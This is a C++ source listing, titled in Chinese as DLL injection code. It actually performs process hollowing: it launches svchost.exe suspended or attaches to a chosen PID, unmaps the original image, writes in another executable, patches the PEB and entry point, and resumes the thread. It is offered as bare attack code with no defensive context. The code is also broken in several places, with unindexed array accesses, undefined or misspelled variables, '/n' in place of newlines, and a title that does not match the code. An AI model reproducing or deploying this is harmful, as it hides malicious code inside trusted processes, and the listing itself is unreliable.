一个向别的进程插入dll的代码

#include "stdafx.h"
#include "windows.h"
#include "tlhelp32.h"
#include "ntpsapi.h"

struct PE_Header
{
unsigned long signature;
unsigned short machine;
unsigned short numSections;
unsigned long timeDateStamp;
unsigned long pointerToSymbolTable;
unsigned long numOfSymbols;
unsigned short sizeOfOptionHeader;
unsigned short characteristics;
};

struct PE_ExtHeader
{
unsigned short magic;
unsigned char majorLinkerVersion;
unsigned char minorLinkerVersion;
unsigned long sizeOfCode;
unsigned long sizeOfInitializedData;
unsigned long sizeOfUninitializedData;
unsigned long addressOfEntryPoint;
unsigned long baseOfCode;
unsigned long baseOfData;
unsigned long imageBase;
unsigned long sectionAlignment;
unsigned long fileAlignment;
unsigned short majorOSVersion;
unsigned short minorOSVersion;
unsigned short majorImageVersion;
unsigned short minorImageVersion;
unsigned short majorSubsystemVersion;
unsigned short minorSubsystemVersion;
unsigned long reserved1;
unsigned long sizeOfImage;
unsigned long sizeOfHeaders;
unsigned long checksum;
unsigned short subsystem;
unsigned short DLLCharacteristics;
unsigned long sizeOfStackReserve;
unsigned long sizeOfStackCommit;
unsigned long sizeOfHeapReserve;
unsigned long sizeOfHeapCommit;
unsigned long loaderFlags;
unsigned long numberOfRVAAndSizes;
unsigned long exportTableAddress;
unsigned long exportTableSize;
unsigned long importTableAddress;
unsigned long importTableSize;
unsigned long resourceTableAddress;
unsigned long resourceTableSize;
unsigned long exceptionTableAddress;
unsigned long exceptionTableSize;
unsigned long certFilePointer;
unsigned long certTableSize;
unsigned long relocationTableAddress;
unsigned long relocationTableSize;
unsigned long debugDataAddress;
unsigned long debugDataSize;
unsigned long archDataAddress;
unsigned long archDataSize;
unsigned long globalPtrAddress;
unsigned long globalPtrSize;
unsigned long TLSTableAddress;
unsigned long TLSTableSize;
unsigned long loadConfigTableAddress;
unsigned long loadConfigTableSize;
unsigned long boundImportTableAddress;
unsigned long boundImportTableSize;
unsigned long importAddressTableAddress;
unsigned long importAddressTableSize;
unsigned long delayImportDescAddress;
unsigned long delayImportDescSize;
unsigned long COMHeaderAddress;
unsigned long COMHeaderSize;
unsigned long reserved2;
unsigned long reserved3;
};


struct SectionHeader
{
unsigned char sectionName[8];
unsigned long virtualSize;
unsigned long virtualAddress;
unsigned long sizeOfRawData;
unsigned long pointerToRawData;
unsigned long pointerToRelocations;
unsigned long pointerToLineNumbers;
unsigned short numberOfRelocations;
unsigned short numberOfLineNumbers;
unsigned long characteristics;
};

struct MZHeader
{
unsigned short signature;
unsigned short partPag;
unsigned short pageCnt;
unsigned short reloCnt;
unsigned short hdrSize;
unsigned short minMem;
unsigned short maxMem;
unsigned short reloSS;
unsigned short exeSP;
unsigned short chksum;
unsigned short exeIP;
unsigned short reloCS;
unsigned short tablOff;
unsigned short overlay;
unsigned char reserved[32];
unsigned long offsetToPE;
};


struct ImportDirEntry
{
DWORD importLookupTable;
DWORD timeDateStamp;
DWORD fowarderChain;
DWORD nameRVA;
DWORD importAddressTable;
};

struct FixupBlock
{
unsigned long pageRVA;
unsigned long blockSize;
};

#define TARGETPROC "svchost.exe" ;

typedef struct _PROCINFO
{
DWORD baseAddr;
DWORD imageSize;
} PROCINFO;

BOOL EXPD = False ;
CHAR *PID;

//**********************************************************************************************************
//
// This function reads the MZ, PE, PE extended and Section Headers from an EXE file.
//
//**********************************************************************************************************

bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH,
      SectionHeader **outSecHdr)
{
fseek(fp, 0, SEEK_END);
long fileSize = ftell(fp);
fseek(fp, 0, SEEK_SET);

if(fileSize < sizeof(MZHeader))
{
  printf("File size too small/n"); 
  return false;
}

// read MZ Header
MZHeader mzH;
fread(&mzH, sizeof(MZHeader), 1, fp);

if(mzH.signature != 0x5a4d)  // MZ
{
  printf("File does not have MZ header/n");
  return false;
}

printf("Offset to PE Header = %X/n", mzH.offsetToPE);

if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header))
{
  printf("File size too small/n"); 
  return false;
}

// read PE Header
fseek(fp, mzH.offsetToPE, SEEK_SET);
PE_Header peH;
fread(&peH, sizeof(PE_Header), 1, fp);

printf("Size of option header = %d/n", peH.sizeOfOptionHeader);
printf("Number of sections = %d/n", peH.numSections);

if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
{
  printf("Unexpected option header size./n");
 
  return false;
}

// read PE Ext Header
PE_ExtHeader peXH;

fread(&peXH, sizeof(PE_ExtHeader), 1, fp);

printf("Import table address = %X/n", peXH.importTableAddress);
printf("Import table size = %X/n", peXH.importTableSize);
printf("Import address table address = %X/n", peXH.importAddressTableAddress);
printf("Import address table size = %X/n", peXH.importAddressTableSize);


// read the sections
SectionHeader *secHdr = new SectionHeader[peH.numSections];

fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp);

*outMZ = mzH;
*outPE = peH;
*outpeXH = peXH;
*outSecHdr = secHdr;

return true;
}


//**********************************************************************************************************
//
// This function calculates the size required to load an EXE into memory with proper alignment.
//
//**********************************************************************************************************

int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
        SectionHeader *inSecHdr)
{
int result = 0;
int alignment = inpeXH->sectionAlignment;

if(inpeXH->sizeOfHeaders % alignment == 0)
  result += inpeXH->sizeOfHeaders;
else
{
  int val = inpeXH->sizeOfHeaders / alignment;
  val++;
  result += (val * alignment);
}


for(int i = 0; i < inPE->numSections; i++)
{
  if(inSecHdr.virtualSize)
  {
    if(inSecHdr.virtualSize % alignment == 0)
      result += inSecHdr.virtualSize;
    else
    {
      int val = inSecHdr.virtualSize / alignment;
      val++;
      result += (val * alignment);
    }
  }
}

return result;
}


//**********************************************************************************************************
//
// This function calculates the aligned size of a section
//
//**********************************************************************************************************

unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment)
{ 
if(curSize % alignment == 0)
  return curSize;
else
{
  int val = curSize / alignment;
  val++;
  return (val * alignment);
}
}


//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************

bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
    SectionHeader *inSecHdr, LPVOID ptrLoc)
{
char *outPtr = (char *)ptrLoc;

fseek(fp, 0, SEEK_SET);
unsigned long headerSize = inpeXH->sizeOfHeaders;

// certain PE files have sectionHeaderSize value > size of PE file itself.
// this loop handles this situation by find the section that is nearest to the
// PE header.

for(int i = 0; i < inPE->numSections; i++)
{
  if(inSecHdr.pointerToRawData < headerSize)
    headerSize = inSecHdr.pointerToRawData;
}

// read the PE header
unsigned long readSize = fread(outPtr, 1, headerSize, fp);
printf("HeaderSize = %d/n", headerSize);
if(readSize != headerSize)
{
  printf("Error reading headers (%d %d)/n", readSize, headerSize);
  return false; 
}

outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);

// read the sections
for(i = 0; i < inPE->numSections; i++)
{
  if(inSecHdr.sizeOfRawData > 0)
  {
    unsigned long toRead = inSecHdr.sizeOfRawData;
    if(toRead > inSecHdr.virtualSize)
      toRead = inSecHdr.virtualSize;

    fseek(fp, inSecHdr.pointerToRawData, SEEK_SET);
    readSize = fread(outPtr, 1, toRead, fp);

    if(readSize != toRead)
    {
      printf("Error reading section %d/n", i);
      return false;
    }
    outPtr += getAlignedSize(inSecHdr.virtualSize, inpeXH->sectionAlignment);
  }
  else
  {
    // this handles the case where the PE file has an empty section. E.g. UPX0 section
    // in UPXed files.

    if(inSecHdr.virtualSize)
      outPtr += getAlignedSize(inSecHdr.virtualSize, inpeXH->sectionAlignment);
  }
}

return true;
}





//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************

void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
        SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase)
{
if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
{
  FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress);
  long delta = newBase - inpeXH->imageBase;

  while(fixBlk->blockSize)
  {
    printf("Addr = %X/n", fixBlk->pageRVA);
    printf("Size = %X/n", fixBlk->blockSize);

    int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;
    printf("Num Entries = %d/n", numEntries);

    unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);

    for(int i = 0; i < numEntries; i++)
    {
      DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));
     
      int relocType = (*offsetPtr & 0xF000) >> 12;
     
      printf("Val = %X/n", *offsetPtr);
      printf("Type = %X/n", relocType);

      if(relocType == 3)
        *codeLoc = ((DWORD)*codeLoc) + delta;
      else
      {
        printf("Unknown relocation type = %d/n", relocType);
      }
      offsetPtr++;
    }

    fixBlk = (FixupBlock *)offsetPtr;
  }
} 
}


//**********************************************************************************************************
//
// Creates the original EXE in suspended mode and returns its info in the PROCINFO structure.
//
//**********************************************************************************************************


 
 
BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo)
{
STARTUPINFO si = {0};
if(!EXPD)
  {
if(CreateProcess(NULL, TARGETPROC,
        NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi)) 
{
  ctx->ContextFlags=CONTEXT_FULL;
  GetThreadContext(pi->hThread, ctx);

  DWORD *pebInfo = (DWORD *)ctx->Ebx;
  DWORD read;
  ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);

  DWORD curAddr = outChildProcInfo->baseAddr;
  MEMORY_BASIC_INFORMATION memInfo;
  while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo)))
  {
    if(memInfo.State == MEM_FREE)
      break;
    curAddr += memInfo.RegionSize;
  }
  outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;

  return TRUE;
}
} else
{
  DEBUG_EVENT DBEvent;
  if(DebugActiveProcess((DWORD)*PID))
  {
    WaitForDebugEvent(&DBEvent,INFINITE);
    pi->hThread=DBEvent.u.CreateProcessInfo.hThread;
    pi->hprocess=DBEvent.u.CreateProcessInfo.hProcess;
    ctx->ContextFlags=CONTEXT_FULL;
  GetThreadContext(pi->hThread, ctx);
  DWORD *pebInfo2 = (DWORD *)ctx->Fs;
  *pedInfo2+=0x30;
  DWORD read2;
  ReadProcessMemory(pi->hProcess, &pebInfo2[2], (LPVOID)&(outChildProcInfo2->baseAddr), sizeof(DWORD), &read2);

  DWORD curAddr2 = outChildProcInfo2->baseAddr;
  MEMORY_BASIC_INFORMATION memInfo2;
  while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr2, &memInfo2, sizeof(memInfo2)))
  {
    if(memInfo2.State == MEM_FREE)
      break;
    curAddr2+= memInfo2.RegionSize;
  }
  outChildProcInfo2->imageSize = (DWORD)curAddr2 - (DWORD)outChildProcInfo2->baseAddr;

  return TRUE;
  }
}

return FALSE;
}


//**********************************************************************************************************
//
// Returns true if the PE file has a relocation table
//
//**********************************************************************************************************

BOOL hasRelocationTable(PE_ExtHeader *inpeXH)
{
if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
{
  return TRUE;
}
return FALSE;
}


typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);


//**********************************************************************************************************
//
// To replace the original EXE with another one we do the following.
// 1) Create the original EXE process in suspended mode.
// 2) Unmap the image of the original EXE.
// 3) Allocate memory at the baseaddress of the new EXE.
// 4) Load the new EXE image into the allocated memory.
// 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended
//  thread.
//
// When the original EXE process is created in suspend mode, GetThreadContext returns these useful
// register values.
// EAX - process entry point
// EBX - points to PEB
//
// So before resuming the suspended thread, we need to set EAX of the context to the entry point of the
// new EXE.
//
//**********************************************************************************************************

void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
    SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize)
{
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
CONTEXT ctx;
PROCINFO childInfo;

if(createChild(&pi, &ctx, &childInfo))
{ 
  printf("Original EXE loaded (PID = %d)./n", pi.dwProcessId);
  printf("Original Base Addr = %X, Size = %X/n", childInfo.baseAddr, childInfo.imageSize);
 
  LPVOID v = (LPVOID)NULL;
 
  if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)
  {
    // if new EXE has same baseaddr and is its size is <= to the original EXE, just
    // overwrite it in memory
    v = (LPVOID)childInfo.baseAddr;
    DWORD oldProtect;
    VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);     
   
    printf("Using Existing Mem for New EXE at %X/n", (unsigned long)v);
  }
  else
  {
    // get address of ZwUnmapViewOfSection
    PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");

    // try to unmap the original EXE image
    if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)
    {
      // allocate memory for the new EXE image at the prefered imagebase.
      v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      if(v)
        printf("Unmapped and Allocated Mem for New EXE at %X/n", (unsigned long)v);
    }
  }

  if(!v && hasRelocationTable(inpeXH))
  {
    // if unmap failed but EXE is relocatable, then we try to load the EXE at another
    // location
    v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if(v)
    {
      printf("Allocated Mem for New EXE at %X. EXE will be relocated./n", (unsigned long)v);

      // we've got to do the relocation ourself if we load the image at another
      // memory location     
      doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);
    }
  }

  printf("EIP = %X/n", ctx.Eip);
  printf("EAX = %X/n", ctx.Eax);
  printf("EBX = %X/n", ctx.Ebx);  // EBX points to PEB
  printf("ECX = %X/n", ctx.Ecx);
  printf("EDX = %X/n", ctx.Edx);
 
  if(v)
  {     
    printf("New EXE Image Size = %X/n", imageSize);
   
    // patch the EXE base addr in PEB (PEB + 8 holds process base addr)
    DWORD *pebInfo = (DWORD *)ctx.Ebx;
    DWORD wrote;         
    WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);

    // patch the base addr in the PE header of the EXE that we load ourselves
    PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc);
    peXH->imageBase = (DWORD)v;
   
    if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))
    { 
      printf("New EXE image injected into process./n");

      ctx.ContextFlags=CONTEXT_FULL;     
      //ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc);
     
      if((DWORD)v == childInfo.baseAddr)
      {
        ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint;  // eax holds new entry point
      }
      else
      {
        // in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was
        // performed.
        ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint;  // eax holds new entry point
      }

      printf("********> EIP = %X/n", ctx.Eip);
      printf("********> EAX = %X/n", ctx.Eax);

      SetThreadContext(pi.hThread,&ctx);

      ResumeThread(pi.hThread);
      printf("Process resumed (PID = %d)./n", pi.dwProcessId);
    }
    else
    {
      printf("WriteProcessMemory failed/n");
      TerminateProcess(pi.hProcess, 0);
    }
  }
  else
  {
    printf("Load failed. Consider making this EXE relocatable./n");
    TerminateProcess(pi.hProcess, 0);
  }
}
else
{
  printf("Cannot load %s/n", TARGETPROC);
}
}




int main(int argc, char* argv[])
{
if((argc < 2 )||(argc > 3))
{
  printf("/nUsage: %s [pid]/n", argv[0]);
  return 1;
}
  if(argc==3){
  alloc(PID,1024);
  memset(PID,0,1024);
  strcpy(PID,argv[2]);
  EXPD= True ;
  }
 
FILE *fp = fopen(argv[1], "rb");
if(fp)
{
  MZHeader mzH;
  PE_Header peH;
  PE_ExtHeader peXH;
  SectionHeader *secHdr;

  if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))
  {
    int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);
    printf("Image Size = %X/n", imageSize);

    LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if(ptrLoc)
    {
      printf("Memory allocated at %X/n", ptrLoc);
      loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);                     
     
      doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);             
    }
    else
      printf("Allocation failed/n");
  }

  fclose(fp);
}
else
  printf("/nCannot open the EXE file!/n");

return 0;
}